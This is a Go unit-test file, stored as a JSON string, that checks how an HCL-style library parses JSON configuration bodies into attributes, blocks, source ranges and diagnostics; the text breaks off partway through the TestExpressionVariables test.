    "content": "package json\n\nimport (\n    \"fmt\"\n    \"reflect\"\n    \"strings\"\n    \"testing\"\n\n    \"github.com/davecgh/go-spew/spew\"\n    \"github.com/go-test/deep\"\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\nfunc TestBodyPartialContent(t *testing.T) {\n    tests := []struct {\n        src       string\n        schema    *hcl.BodySchema\n        want      *hcl.BodyContent\n        diagCount int\n    }{\n        {\n            `{}`,\n            &hcl.BodySchema{},\n            &hcl.BodyContent{\n                Attributes: map[string]*hcl.Attribute{},\n                MissingItemRange: hcl.Range{\n                    Filename: \"test.json\",\n                    Start:    hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                    End:      hcl.Pos{Line: 1, Column: 3, Byte: 2},\n                },\n            },\n            0,\n        },\n        {\n            `[]`,\n            &hcl.BodySchema{},\n            &hcl.BodyContent{\n                Attributes: map[string]*hcl.Attribute{},\n                MissingItemRange: hcl.Range{\n                    Filename: \"test.json\",\n                    Start:    hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:      hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                },\n            },\n            0,\n        },\n        {\n            `[{}]`,\n            &hcl.BodySchema{},\n            &hcl.BodyContent{\n                Attributes: map[string]*hcl.Attribute{},\n                MissingItemRange: hcl.Range{\n                    Filename: \"test.json\",\n                    Start:    hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:      hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                },\n            },\n            0,\n        },\n        {\n            `[[]]`,\n            &hcl.BodySchema{},\n            &hcl.BodyContent{\n                Attributes: map[string]*hcl.Attribute{},\n                MissingItemRange: hcl.Range{\n                    Filename: \"test.json\",\n                    Start:    hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:      hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                },\n            },\n            1, // elements of root array must be objects\n        },\n        {\n            `{\"//\": \"comment that should be ignored\"}`,\n            &hcl.BodySchema{},\n            &hcl.BodyContent{\n                Attributes: map[string]*hcl.Attribute{},\n                MissingItemRange: hcl.Range{\n                    Filename: \"test.json\",\n                    Start:    hcl.Pos{Line: 1, Column: 40, Byte: 39},\n                    End:      hcl.Pos{Line: 1, Column: 41, Byte: 40},\n                },\n            },\n            0,\n        },\n        {\n            `{\"//\": \"comment that should be ignored\", \"//\": \"another comment\"}`,\n            &hcl.BodySchema{},\n            &hcl.BodyContent{\n                Attributes: map[string]*hcl.Attribute{},\n                MissingItemRange: hcl.Range{\n                    Filename: \"test.json\",\n                    Start:    hcl.Pos{Line: 1, Column: 65, Byte: 64},\n                    End:      hcl.Pos{Line: 1, Column: 66, Byte: 65},\n                },\n            },\n            0,\n        },\n        {\n            `{\"name\":\"Ermintrude\"}`,\n            &hcl.BodySchema{\n                Attributes: []hcl.AttributeSchema{\n                    {\n                        Name: \"name\",\n                    },\n                },\n            },\n            &hcl.BodyContent{\n                Attributes: map[string]*hcl.Attribute{\n                    \"name\": &hcl.Attribute{\n                        Name: \"name\",\n                        Expr: &expression{\n                            src: &stringVal{\n                                Value: \"Ermintrude\",\n                                SrcRange: hcl.Range{\n                                    Filename: \"test.json\",\n                                    Start: hcl.Pos{\n                                        Byte:   8,\n                                        Line:   1,\n                                        Column: 9,\n                                    },\n                                    End: hcl.Pos{\n                                        Byte:   20,\n                                        Line:   1,\n                                        Column: 21,\n                                    },\n                                },\n                            },\n                        },\n                        Range: hcl.Range{\n                            Filename: \"test.json\",\n                            Start: hcl.Pos{\n                                Byte:   1,\n                                Line:   1,\n                                Column: 2,\n                            },\n                            End: hcl.Pos{\n                                Byte:   20,\n                                Line:   1,\n                                Column: 21,\n                            },\n                        },\n                        NameRange: hcl.Range{\n                            Filename: \"test.json\",\n                            Start: hcl.Pos{\n                                Byte:   1,\n                                Line:   1,\n                                Column: 2,\n                            },\n                            End: hcl.Pos{\n                                Byte:   7,\n                                Line:   1,\n                                Column: 8,\n                            },\n                        },\n                    },\n                },\n                MissingItemRange: hcl.Range{\n                    Filename: \"test.json\",\n                    Start:    hcl.Pos{Line: 1, Column: 21, Byte: 20},\n                    End:      hcl.Pos{Line: 1, Column: 22, Byte: 21},\n                },\n            },\n            0,\n        },\n        {\n            `[{\"name\":\"Ermintrude\"}]`,\n            &hcl.BodySchema{\n                Attributes: []hcl.AttributeSchema{\n                    {\n                        Name: \"name\",\n                    },\n                },\n            },\n            &hcl.BodyContent{\n                Attributes: map[string]*hcl.Attribute{\n                    \"name\": &hcl.Attribute{\n                        Name: \"name\",\n                        Expr: &expression{\n                            src: &stringVal{\n                                Value: \"Ermintrude\",\n                                SrcRange: hcl.Range{\n                                    Filename: \"test.json\",\n                                    Start: hcl.Pos{\n                                        Byte:   9,\n                                        Line:   1,\n                                        Column: 10,\n                                    },\n                                    End: hcl.Pos{\n                                        Byte:   21,\n                                        Line:   1,\n                                        Column: 22,\n                                    },\n                                },\n                            },\n                        },\n                        Range: hcl.Range{\n                            Filename: \"test.json\",\n                            Start: hcl.Pos{\n                                Byte:   2,\n                                Line:   1,\n                                Column: 3,\n                            },\n                            End: hcl.Pos{\n                                Byte:   21,\n                                Line:   1,\n                                Column: 22,\n                            },\n                        },\n                        NameRange: hcl.Range{\n                            Filename: \"test.json\",\n                            Start: hcl.Pos{\n                                Byte:   2,\n                                Line:   1,\n                                Column: 3,\n                            },\n                            End: hcl.Pos{\n                                Byte:   8,\n                                Line:   1,\n                                Column: 9,\n                            },\n                        },\n                    },\n                },\n                MissingItemRange: hcl.Range{\n                    Filename: \"test.json\",\n                    Start:    hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:      hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                },\n            },\n            0,\n        },\n        {\n            `{\"name\":\"Ermintrude\"}`,\n            &hcl.BodySchema{\n                Attributes: []hcl.AttributeSchema{\n                    {\n                        Name:     \"name\",\n                        Required: true,\n                    },\n                    {\n                        Name:     \"age\",\n                        Required: true,\n                    },\n                },\n            },\n            &hcl.BodyContent{\n                Attributes: map[string]*hcl.Attribute{\n                    \"name\": &hcl.Attribute{\n                        Name: \"name\",\n                        Expr: &expression{\n                            src: &stringVal{\n                                Value: \"Ermintrude\",\n                                SrcRange: hcl.Range{\n                                    Filename: \"test.json\",\n                                    Start: hcl.Pos{\n                                        Byte:   8,\n                                        Line:   1,\n                                        Column: 9,\n                                    },\n                                    End: hcl.Pos{\n                                        Byte:   20,\n                                        Line:   1,\n                                        Column: 21,\n                                    },\n                                },\n                            },\n                        },\n                        Range: hcl.Range{\n                            Filename: \"test.json\",\n                            Start: hcl.Pos{\n                                Byte:   1,\n                                Line:   1,\n                                Column: 2,\n                            },\n                            End: hcl.Pos{\n                                Byte:   20,\n                                Line:   1,\n                                Column: 21,\n                            },\n                        },\n                        NameRange: hcl.Range{\n                            Filename: \"test.json\",\n                            Start: hcl.Pos{\n                                Byte:   1,\n                                Line:   1,\n                                Column: 2,\n                            },\n                            End: hcl.Pos{\n                                Byte:   7,\n                                Line:   1,\n                                Column: 8,\n                            },\n                        },\n                    },\n                },\n                MissingItemRange: hcl.Range{\n                    Filename: \"test.json\",\n                    Start:    hcl.Pos{Line: 1, Column: 21, Byte: 20},\n                    End:      hcl.Pos{Line: 1, Column: 22, Byte: 21},\n                },\n            },\n            1,\n        },\n        {\n            `{\"resource\": null}`,\n            &hcl.BodySchema{\n                Blocks: []hcl.BlockHeaderSchema{\n                    {\n                        Type: \"resource\",\n                    },\n                },\n            },\n            &hcl.BodyContent{\n                Attributes: map[string]*hcl.Attribute{},\n                // We don't find any blocks if the value is json null.\n                Blocks: nil,\n                MissingItemRange: hcl.Range{\n                    Filename: \"test.json\",\n                    Start:    hcl.Pos{Line: 1, Column: 18, Byte: 17},\n                    End:      hcl.Pos{Line: 1, Column: 19, Byte: 18},\n                },\n            },\n            0,\n        },\n        {\n            `{\"resource\": { \"nested\": null }}`,\n            &hcl.BodySchema{\n                Blocks: []hcl.BlockHeaderSchema{\n                    {\n                        Type:       \"resource\",\n                        LabelNames: []string{\"name\"},\n                    },\n                },\n            },\n            &hcl.BodyContent{\n                Attributes: map[string]*hcl.Attribute{},\n                Blocks:     nil,\n                MissingItemRange: hcl.Range{\n                    Filename: \"test.json\",\n                    Start:    hcl.Pos{Line: 1, Column: 32, Byte: 31},\n                    End:      hcl.Pos{Line: 1, Column: 33, Byte: 32},\n                },\n            },\n            0,\n        },\n        {\n            `{\"resource\":{}}`,\n            &hcl.BodySchema{\n                Blocks: []hcl.BlockHeaderSchema{\n                    {\n                        Type: \"resource\",\n                    },\n                },\n            },\n            &hcl.BodyContent{\n                Attributes: map[string]*hcl.Attribute{},\n                Blocks: hcl.Blocks{\n                    {\n                        Type:   \"resource\",\n                        Labels: []string{},\n                        Body: &body{\n                            val: &objectVal{\n                                Attrs: []*objectAttr{},\n                                SrcRange: hcl.Range{\n                                    Filename: \"test.json\",\n                                    Start: hcl.Pos{\n                                        Byte:   12,\n                                        Line:   1,\n                                        Column: 13,\n                                    },\n                                    End: hcl.Pos{\n                                        Byte:   14,\n                                        Line:   1,\n                                        Column: 15,\n                                    },\n                                },\n                                OpenRange: hcl.Range{\n                                    Filename: \"test.json\",\n                                    Start: hcl.Pos{\n                                        Byte:   12,\n                                        Line:   1,\n                                        Column: 13,\n                                    },\n                                    End: hcl.Pos{\n                                        Byte:   13,\n                                        Line:   1,\n                                        Column: 14,\n                                    },\n                                },\n                                CloseRange: hcl.Range{\n                                    Filename: \"test.json\",\n                                    Start: hcl.Pos{\n                                        Byte:   13,\n                                        Line:   1,\n                                        Column: 14,\n                                    },\n                                    End: hcl.Pos{\n                                        Byte:   14,\n                                        Line:   1,\n                                        Column: 15,\n                                    },\n                                },\n                            },\n                        },\n\n                        DefRange: hcl.Range{\n                            Filename: \"test.json\",\n                            Start: hcl.Pos{\n                                Byte:   12,\n                                Line:   1,\n                                Column: 13,\n                            },\n                            End: hcl.Pos{\n                                Byte:   13,\n                                Line:   1,\n                                Column: 14,\n                            },\n                        },\n                        TypeRange: hcl.Range{\n                            Filename: \"test.json\",\n                            Start: hcl.Pos{\n                                Byte:   1,\n                                Line:   1,\n                                Column: 2,\n                            },\n                            End: hcl.Pos{\n                                Byte:   11,\n                                Line:   1,\n                                Column: 12,\n                            },\n                        },\n                        LabelRanges: []hcl.Range{},\n                    },\n                },\n                MissingItemRange: hcl.Range{\n                    Filename: \"test.json\",\n                    Start:    hcl.Pos{Line: 1, Column: 15, Byte: 14},\n                    End:      hcl.Pos{Line: 1, Column: 16, Byte: 15},\n                },\n            },\n            0,\n        },\n        {\n            `{\"resource\":[{},{}]}`,\n            &hcl.BodySchema{\n                Blocks: []hcl.BlockHeaderSchema{\n                    {\n                        Type: \"resource\",\n                    },\n                },\n            },\n            &hcl.BodyContent{\n                Attributes: map[string]*hcl.Attribute{},\n                Blocks: hcl.Blocks{\n                    {\n                        Type:   \"resource\",\n                        Labels: []string{},\n                        Body: &body{\n                            val: &objectVal{\n                                Attrs: []*objectAttr{},\n                                SrcRange: hcl.Range{\n                                    Filename: \"test.json\",\n                                    Start: hcl.Pos{\n                                        Byte:   13,\n                                        Line:   1,\n                                        Column: 14,\n                                    },\n                                    End: hcl.Pos{\n                                        Byte:   15,\n                                        Line:   1,\n                                        Column: 16,\n                                    },\n                                },\n                                OpenRange: hcl.Range{\n                                    Filename: \"test.json\",\n                                    Start: hcl.Pos{\n                                        Byte:   13,\n                                        Line:   1,\n                                        Column: 14,\n                                    },\n                                    End: hcl.Pos{\n                                        Byte:   14,\n                                        Line:   1,\n                                        Column: 15,\n                                    },\n                                },\n                                CloseRange: hcl.Range{\n                                    Filename: \"test.json\",\n                                    Start: hcl.Pos{\n                                        Byte:   14,\n                                        Line:   1,\n                                        Column: 15,\n                                    },\n                                    End: hcl.Pos{\n                                        Byte:   15,\n                                        Line:   1,\n                                        Column: 16,\n                                    },\n                                },\n                            },\n                        },\n\n                        DefRange: hcl.Range{\n                            Filename: \"test.json\",\n                            Start: hcl.Pos{\n                                Byte:   12,\n                                Line:   1,\n                                Column: 13,\n                            },\n                            End: hcl.Pos{\n                                Byte:   13,\n                                Line:   1,\n                                Column: 14,\n                            },\n                        },\n                        TypeRange: hcl.Range{\n                            Filename: \"test.json\",\n                            Start: hcl.Pos{\n                                Byte:   1,\n                                Line:   1,\n                                Column: 2,\n                            },\n                            End: hcl.Pos{\n                                Byte:   11,\n                                Line:   1,\n                                Column: 12,\n                            },\n                        },\n                        LabelRanges: []hcl.Range{},\n                    },\n                    {\n                        Type:   \"resource\",\n                        Labels: []string{},\n                        Body: &body{\n                            val: &objectVal{\n                                Attrs: []*objectAttr{},\n                                SrcRange: hcl.Range{\n                                    Filename: \"test.json\",\n                                    Start: hcl.Pos{\n                                        Byte:   16,\n                                        Line:   1,\n                                        Column: 17,\n                                    },\n                                    End: hcl.Pos{\n                                        Byte:   18,\n                                        Line:   1,\n                                        Column: 19,\n                                    },\n                                },\n                                OpenRange: hcl.Range{\n                                    Filename: \"test.json\",\n                                    Start: hcl.Pos{\n                                        Byte:   16,\n                                        Line:   1,\n                                        Column: 17,\n                                    },\n                                    End: hcl.Pos{\n                                        Byte:   17,\n                                        Line:   1,\n                                        Column: 18,\n                                    },\n                                },\n                                CloseRange: hcl.Range{\n                                    Filename: \"test.json\",\n                                    Start: hcl.Pos{\n                                        Byte:   17,\n                                        Line:   1,\n                                        Column: 18,\n                                    },\n                                    End: hcl.Pos{\n                                        Byte:   18,\n                                        Line:   1,\n                                        Column: 19,\n                                    },\n                                },\n                            },\n                        },\n\n                        DefRange: hcl.Range{\n                            Filename: \"test.json\",\n                            Start: hcl.Pos{\n                                Byte:   12,\n                                Line:   1,\n                                Column: 13,\n                            },\n                            End: hcl.Pos{\n                                Byte:   13,\n                                Line:   1,\n                                Column: 14,\n                            },\n                        },\n                        TypeRange: hcl.Range{\n                            Filename: \"test.json\",\n                            Start: hcl.Pos{\n                                Byte:   1,\n                                Line:   1,\n                                Column: 2,\n                            },\n                            End: hcl.Pos{\n                                Byte:   11,\n                                Line:   1,\n                                Column: 12,\n                            },\n                        },\n                        LabelRanges: []hcl.Range{},\n                    },\n                },\n                MissingItemRange: hcl.Range{\n                    Filename: \"test.json\",\n                    Start:    hcl.Pos{Line: 1, Column: 20, Byte: 19},\n                    End:      hcl.Pos{Line: 1, Column: 21, Byte: 20},\n                },\n            },\n            0,\n        },\n        {\n            `{\"resource\":{\"foo_instance\":{\"bar\":{}}}}`,\n            &hcl.BodySchema{\n                Blocks: []hcl.BlockHeaderSchema{\n                    {\n                        Type:       \"resource\",\n                        LabelNames: []string{\"type\", \"name\"},\n                    },\n                },\n            },\n            &hcl.BodyContent{\n                Attributes: map[string]*hcl.Attribute{},\n                Blocks: hcl.Blocks{\n                    {\n                        Type:   \"resource\",\n                        Labels: []string{\"foo_instance\", \"bar\"},\n                        Body: &body{\n                            val: &objectVal{\n                                Attrs: []*objectAttr{},\n                                SrcRange: hcl.Range{\n                                    Filename: \"test.json\",\n                                    Start: hcl.Pos{\n                                        Byte:   35,\n                                        Line:   1,\n                                        Column: 36,\n                                    },\n                                    End: hcl.Pos{\n                                        Byte:   37,\n                                        Line:   1,\n                                        Column: 38,\n                                    },\n                                },\n                                OpenRange: hcl.Range{\n                                    Filename: \"test.json\",\n                                    Start: hcl.Pos{\n                                        Byte:   35,\n                                        Line:   1,\n                                        Column: 36,\n                                    },\n                                    End: hcl.Pos{\n                                        Byte:   36,\n                                        Line:   1,\n                                        Column: 37,\n                                    },\n                                },\n                                CloseRange: hcl.Range{\n                                    Filename: \"test.json\",\n                                    Start: hcl.Pos{\n                                        Byte:   36,\n                                        Line:   1,\n                                        Column: 37,\n                                    },\n                                    End: hcl.Pos{\n                                        Byte:   37,\n                                        Line:   1,\n                                        Column: 38,\n                                    },\n                                },\n                            },\n                        },\n\n                        DefRange: hcl.Range{\n                            Filename: \"test.json\",\n                            Start: hcl.Pos{\n                                Byte:   35,\n                                Line:   1,\n                                Column: 36,\n                            },\n                            End: hcl.Pos{\n                                Byte:   36,\n                                Line:   1,\n                                Column: 37,\n                            },\n                        },\n                        TypeRange: hcl.Range{\n                            Filename: \"test.json\",\n                            Start: hcl.Pos{\n                                Byte:   1,\n                                Line:   1,\n                                Column: 2,\n                            },\n                            End: hcl.Pos{\n                                Byte:   11,\n                                Line:   1,\n                                Column: 12,\n                            },\n                        },\n                        LabelRanges: []hcl.Range{\n                            {\n                                Filename: \"test.json\",\n                                Start: hcl.Pos{\n                                    Byte:   13,\n                                    Line:   1,\n                                    Column: 14,\n                                },\n                                End: hcl.Pos{\n                                    Byte:   27,\n                                    Line:   1,\n                                    Column: 28,\n                                },\n                            },\n                            {\n                                Filename: \"test.json\",\n                                Start: hcl.Pos{\n                                    Byte:   29,\n                                    Line:   1,\n                                    Column: 30,\n                                },\n                                End: hcl.Pos{\n                                    Byte:   34,\n                                    Line:   1,\n                                    Column: 35,\n                                },\n                            },\n                        },\n                    },\n                },\n                MissingItemRange: hcl.Range{\n                    Filename: \"test.json\",\n                    Start:    hcl.Pos{Line: 1, Column: 40, Byte: 39},\n                    End:      hcl.Pos{Line: 1, Column: 41, Byte: 40},\n                },\n            },\n            0,\n        },\n        {\n            `{\"resource\":{\"foo_instance\":[{\"bar\":{}}, {\"bar\":{}}]}}`,\n            &hcl.BodySchema{\n                Blocks: []hcl.BlockHeaderSchema{\n                    {\n                        Type:       \"resource\",\n                        LabelNames: []string{\"type\", \"name\"},\n                    },\n                },\n            },\n            &hcl.BodyContent{\n                Attributes: map[string]*hcl.Attribute{},\n                Blocks: hcl.Blocks{\n                    {\n                        Type:   \"resource\",\n                        Labels: []string{\"foo_instance\", \"bar\"},\n                        Body: &body{\n                            val: &objectVal{\n                                Attrs: []*objectAttr{},\n                                SrcRange: hcl.Range{\n                                    Filename: \"test.json\",\n                                    Start: hcl.Pos{\n                                        Byte:   36,\n                                        Line:   1,\n                                        Column: 37,\n                                    },\n                                    End: hcl.Pos{\n                                        Byte:   38,\n                                        Line:   1,\n                                        Column: 39,\n                                    },\n                                },\n                                OpenRange: hcl.Range{\n                                    Filename: \"test.json\",\n                                    Start: hcl.Pos{\n                                        Byte:   36,\n                                        Line:   1,\n                                        Column: 37,\n                                    },\n                                    End: hcl.Pos{\n                                        Byte:   37,\n                                        Line:   1,\n                                        Column: 38,\n                                    },\n                                },\n                                CloseRange: hcl.Range{\n                                    Filename: \"test.json\",\n                                    Start: hcl.Pos{\n                                        Byte:   37,\n                                        Line:   1,\n                                        Column: 38,\n                                    },\n                                    End: hcl.Pos{\n                                        Byte:   38,\n                                        Line:   1,\n                                        Column: 39,\n                                    },\n                                },\n                            },\n                        },\n\n                        DefRange: hcl.Range{\n                            Filename: \"test.json\",\n                            Start: hcl.Pos{\n                                Byte:   36,\n                                Line:   1,\n                                Column: 37,\n                            },\n                            End: hcl.Pos{\n                                Byte:   37,\n                                Line:   1,\n                                Column: 38,\n                            },\n                        },\n                        TypeRange: hcl.Range{\n                            Filename: \"test.json\",\n                            Start: hcl.Pos{\n                                Byte:   1,\n                                Line:   1,\n                                Column: 2,\n                            },\n                            End: hcl.Pos{\n                                Byte:   11,\n                                Line:   1,\n                                Column: 12,\n                            },\n                        },\n                        LabelRanges: []hcl.Range{\n                            {\n                                Filename: \"test.json\",\n                                Start: hcl.Pos{\n                                    Byte:   13,\n                                    Line:   1,\n                                    Column: 14,\n                                },\n                                End: hcl.Pos{\n                                    Byte:   27,\n                                    Line:   1,\n                                    Column: 28,\n                                },\n                            },\n                            {\n                                Filename: \"test.json\",\n                                Start: hcl.Pos{\n                                    Byte:   30,\n                                    Line:   1,\n                                    Column: 31,\n                                },\n                                End: hcl.Pos{\n                                    Byte:   35,\n                                    Line:   1,\n                                    Column: 36,\n                                },\n                            },\n                        },\n                    },\n                    {\n                        Type:   \"resource\",\n                        Labels: []string{\"foo_instance\", \"bar\"},\n                        Body: &body{\n                            val: &objectVal{\n                                Attrs: []*objectAttr{},\n                                SrcRange: hcl.Range{\n                                    Filename: \"test.json\",\n                                    Start: hcl.Pos{\n                                        Byte:   36,\n                                        Line:   1,\n                                        Column: 37,\n                                    },\n                                    End: hcl.Pos{\n                                        Byte:   38,\n                                        Line:   1,\n                                        Column: 39,\n                                    },\n                                },\n                                OpenRange: hcl.Range{\n                                    Filename: \"test.json\",\n                                    Start: hcl.Pos{\n                                        Byte:   36,\n                                        Line:   1,\n                                        Column: 37,\n                                    },\n                                    End: hcl.Pos{\n                                        Byte:   37,\n                                        Line:   1,\n                                        Column: 38,\n                                    },\n                                },\n                                CloseRange: hcl.Range{\n                                    Filename: \"test.json\",\n                                    Start: hcl.Pos{\n                                        Byte:   37,\n                                        Line:   1,\n                                        Column: 38,\n                                    },\n                                    End: hcl.Pos{\n                                        Byte:   38,\n                                        Line:   1,\n                                        Column: 39,\n                                    },\n                                },\n                            },\n                        },\n\n                        DefRange: hcl.Range{\n                            Filename: \"test.json\",\n                            Start: hcl.Pos{\n                                Byte:   48,\n                                Line:   1,\n                                Column: 49,\n                            },\n                            End: hcl.Pos{\n                                Byte:   49,\n                                Line:   1,\n                                Column: 50,\n                            },\n                        },\n                        TypeRange: hcl.Range{\n                            Filename: \"test.json\",\n                            Start: hcl.Pos{\n                                Byte:   1,\n                                Line:   1,\n                                Column: 2,\n                            },\n                            End: hcl.Pos{\n                                Byte:   11,\n                                Line:   1,\n                                Column: 12,\n                            },\n                        },\n                        LabelRanges: []hcl.Range{\n                            {\n                                Filename: \"test.json\",\n                                Start: hcl.Pos{\n                                    Byte:   13,\n                                    Line:   1,\n                                    Column: 14,\n                                },\n                                End: hcl.Pos{\n                                    Byte:   27,\n                                    Line:   1,\n                                    Column: 28,\n                                },\n                            },\n                            {\n                                Filename: \"test.json\",\n                                Start: hcl.Pos{\n                                    Byte:   42,\n                                    Line:   1,\n                                    Column: 43,\n                                },\n                                End: hcl.Pos{\n                                    Byte:   47,\n                                    Line:   1,\n                                    Column: 48,\n                                },\n                            },\n                        },\n                    },\n                },\n                MissingItemRange: hcl.Range{\n                    Filename: \"test.json\",\n                    Start:    hcl.Pos{Line: 1, Column: 54, Byte: 53},\n                    End:      hcl.Pos{Line: 1, Column: 55, Byte: 54},\n                },\n            },\n            0,\n        },\n        {\n            `{\"name\":\"Ermintrude\"}`,\n            &hcl.BodySchema{\n                Blocks: []hcl.BlockHeaderSchema{\n                    {\n                        Type: \"name\",\n                    },\n                },\n            },\n            &hcl.BodyContent{\n                Attributes: map[string]*hcl.Attribute{},\n                MissingItemRange: hcl.Range{\n                    Filename: \"test.json\",\n                    Start:    hcl.Pos{Line: 1, Column: 21, Byte: 20},\n                    End:      hcl.Pos{Line: 1, Column: 22, Byte: 21},\n                },\n            },\n            1, // name is supposed to be a block\n        },\n        {\n            `[{\"name\":\"Ermintrude\"},{\"name\":\"Ermintrude\"}]`,\n            &hcl.BodySchema{\n                Attributes: []hcl.AttributeSchema{\n                    {\n                        Name: \"name\",\n                    },\n                },\n            },\n            &hcl.BodyContent{\n                Attributes: map[string]*hcl.Attribute{\n                    \"name\": {\n                        Name: \"name\",\n                        Expr: &expression{\n                            src: &stringVal{\n                                Value: \"Ermintrude\",\n                                SrcRange: hcl.Range{\n                                    Filename: \"test.json\",\n                                    Start: hcl.Pos{\n                                        Byte:   8,\n                                        Line:   1,\n                                        Column: 9,\n                                    },\n                                    End: hcl.Pos{\n                                        Byte:   20,\n                                        Line:   1,\n                                        Column: 21,\n                                    },\n                                },\n                            },\n                        },\n                        Range: hcl.Range{\n                            Filename: \"test.json\",\n                            Start: hcl.Pos{\n                                Byte:   2,\n                                Line:   1,\n                                Column: 3,\n                            },\n                            End: hcl.Pos{\n                                Byte:   21,\n                                Line:   1,\n                                Column: 22,\n                            },\n                        },\n                        NameRange: hcl.Range{\n                            Filename: \"test.json\",\n                            Start: hcl.Pos{\n                                Byte:   2,\n                                Line:   1,\n                                Column: 3,\n                            },\n                            End: hcl.Pos{\n                                Byte:   8,\n                                Line:   1,\n                                Column: 9,\n                            },\n                        },\n                    },\n                },\n                MissingItemRange: hcl.Range{\n                    Filename: \"test.json\",\n                    Start:    hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:      hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                },\n            },\n            1, // \"name\" attribute is defined twice\n        },\n    }\n\n    for i, test := range tests {\n        t.Run(fmt.Sprintf(\"%02d-%s\", i, test.src), func(t *testing.T) {\n            file, diags := Parse([]byte(test.src), \"test.json\")\n            if len(diags) != 0 {\n                t.Fatalf(\"Parse produced diagnostics: %s\", diags)\n            }\n            got, _, diags := file.Body.PartialContent(test.schema)\n            if len(diags) != test.diagCount {\n                t.Errorf(\"Wrong number of diagnostics %d; want %d\", len(diags), test.diagCount)\n                for _, diag := range diags {\n                    t.Logf(\" - %s\", diag)\n                }\n            }\n\n            for _, problem := range deep.Equal(got, test.want) {\n                t.Error(problem)\n            }\n        })\n    }\n}\n\nfunc TestBodyContent(t *testing.T) {\n    // We test most of the functionality already in TestBodyPartialContent, so\n    // this test focuses on the handling of extraneous attributes.\n    tests := []struct {\n        src       string\n        schema    *hcl.BodySchema\n        diagCount int\n    }{\n        {\n            `{\"unknown\": true}`,\n            &hcl.BodySchema{},\n            1,\n        },\n        {\n            `{\"//\": \"comment that should be ignored\"}`,\n            &hcl.BodySchema{},\n            0,\n        },\n        {\n            `{\"unknow\": true}`,\n            &hcl.BodySchema{\n                Attributes: []hcl.AttributeSchema{\n                    {\n                        Name: \"unknown\",\n                    },\n                },\n            },\n            1,\n        },\n        {\n            `{\"unknow\": true, \"unnown\": true}`,\n            &hcl.BodySchema{\n                Attributes: []hcl.AttributeSchema{\n                    {\n                        Name: \"unknown\",\n                    },\n                },\n            },\n            2,\n        },\n    }\n\n    for i, test := range tests {\n        t.Run(fmt.Sprintf(\"%02d-%s\", i, test.src), func(t *testing.T) {\n            file, diags := Parse([]byte(test.src), \"test.json\")\n            if len(diags) != 0 {\n                t.Fatalf(\"Parse produced diagnostics: %s\", diags)\n            }\n            _, diags = file.Body.Content(test.schema)\n            if len(diags) != test.diagCount {\n                t.Errorf(\"Wrong number of diagnostics %d; want %d\", len(diags), test.diagCount)\n                for _, diag := range diags {\n                    t.Logf(\" - %s\", diag)\n                }\n            }\n        })\n    }\n}\n\nfunc TestJustAttributes(t *testing.T) {\n    // We test most of the functionality already in TestBodyPartialContent, so\n    // this test focuses on the handling of extraneous attributes.\n    tests := []struct {\n        src       string\n        want      hcl.Attributes\n        diagCount int\n    }{\n        {\n            `{}`,\n            map[string]*hcl.Attribute{},\n            0,\n        },\n        {\n            `{\"foo\": true}`,\n            map[string]*hcl.Attribute{\n                \"foo\": {\n                    Name: \"foo\",\n                    Expr: &expression{\n                        src: &booleanVal{\n                            Value: true,\n                            SrcRange: hcl.Range{\n                                Filename: \"test.json\",\n                                Start:    hcl.Pos{Byte: 8, Line: 1, Column: 9},\n                                End:      hcl.Pos{Byte: 12, Line: 1, Column: 13},\n                            },\n                        },\n                    },\n                    Range: hcl.Range{\n                        Filename: \"test.json\",\n                        Start:    hcl.Pos{Byte: 1, Line: 1, Column: 2},\n                        End:      hcl.Pos{Byte: 12, Line: 1, Column: 13},\n                    },\n                    NameRange: hcl.Range{\n                        Filename: \"test.json\",\n                        Start:    hcl.Pos{Byte: 1, Line: 1, Column: 2},\n                        End:      hcl.Pos{Byte: 6, Line: 1, Column: 7},\n                    },\n                },\n            },\n            0,\n        },\n        {\n            `{\"//\": \"comment that should be ignored\"}`,\n            map[string]*hcl.Attribute{},\n            0,\n        },\n        {\n            `{\"foo\": true, \"foo\": true}`,\n            map[string]*hcl.Attribute{\n                \"foo\": {\n                    Name: \"foo\",\n                    Expr: &expression{\n                        src: &booleanVal{\n                            Value: true,\n                            SrcRange: hcl.Range{\n                                Filename: \"test.json\",\n                                Start:    hcl.Pos{Byte: 8, Line: 1, Column: 9},\n                                End:      hcl.Pos{Byte: 12, Line: 1, Column: 13},\n                            },\n                        },\n                    },\n                    Range: hcl.Range{\n                        Filename: \"test.json\",\n                        Start:    hcl.Pos{Byte: 1, Line: 1, Column: 2},\n                        End:      hcl.Pos{Byte: 12, Line: 1, Column: 13},\n                    },\n                    NameRange: hcl.Range{\n                        Filename: \"test.json\",\n                        Start:    hcl.Pos{Byte: 1, Line: 1, Column: 2},\n                        End:      hcl.Pos{Byte: 6, Line: 1, Column: 7},\n                    },\n                },\n            },\n            1, // attribute foo was already defined\n        },\n    }\n\n    for i, test := range tests {\n        t.Run(fmt.Sprintf(\"%02d-%s\", i, test.src), func(t *testing.T) {\n            file, diags := Parse([]byte(test.src), \"test.json\")\n            if len(diags) != 0 {\n                t.Fatalf(\"Parse produced diagnostics: %s\", diags)\n            }\n            got, diags := file.Body.JustAttributes()\n            if len(diags) != test.diagCount {\n                t.Errorf(\"Wrong number of diagnostics %d; want %d\", len(diags), test.diagCount)\n                for _, diag := range diags {\n                    t.Logf(\" - %s\", diag)\n                }\n            }\n            if !reflect.DeepEqual(got, test.want) {\n                t.Errorf(\"wrong result\\ngot:  %s\\nwant: %s\", spew.Sdump(got), spew.Sdump(test.want))\n            }\n        })\n    }\n}\n\nfunc TestExpressionVariables(t *testing.T) {\n    tests := []struct {\n        Src  string\n        Want []hcl.Traversal\n    }{\n        {\n            `{\"a\":true}`,\n            nil,\n        },\n        {\n            `{\"a\":\"${foo}\"}`,\n            []hcl.Traversal{\n                {\n                    hcl.TraverseRoot{\n                        Name: \"foo\",\n                        SrcRange: hcl.Range{\n                            Filename: \"test.json\",\n                            Start:    hcl.Pos{Line: 1, Column: 9, Byte: 8},\n                            End:      